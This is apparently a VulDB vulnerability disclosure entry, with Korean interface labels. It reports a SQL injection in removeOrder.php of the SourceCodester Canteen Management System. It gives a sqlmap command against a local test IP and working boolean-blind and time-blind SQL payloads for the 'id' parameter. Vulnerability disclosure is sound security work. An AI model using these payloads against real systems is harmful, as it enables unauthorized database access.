| 제목 | SourceCodester Canteen Management System removeOrder.php sql injection |
|---|
| 설명 | SourceCodester Canteen Management System removeOrder.php sql injection
url: youthappam/php_action/removeOrder.php
Abstract:
Line 16 of removeOrder.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
Data enters a program from an untrusted source.
The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in removeOrder.php at line 16.
sqlmap.py -u "http://192.168.1.7/shenji/youthappam/youthappam/php_action/removeOrder.php?id=111"
sqlmap identified the following injection point(s) with a total of 304 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (7136=7136) THEN 111 ELSE (SELECT 4131 UNION SELECT 4069) END))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=111 AND (SELECT 5909 FROM (SELECT(SLEEP(5)))KIEj)
Download Code:
https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html |
|---|
| 원천 | ⚠️ https://blog.csdn.net/weixin_43864034/article/details/128986083 |
|---|
| 사용자 | Tingsliat (UID 40768) |
|---|
| 제출 | 2023. 02. 11. AM 10:46 (4 연령 ago) |
|---|
| 모더레이션 | 2023. 02. 11. AM 11:06 (20 minutes later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 220624 [SourceCodester Canteen Management System 1.0 removeOrder.php query id SQL 주입] |
|---|
| 포인트들 | 20 |
|---|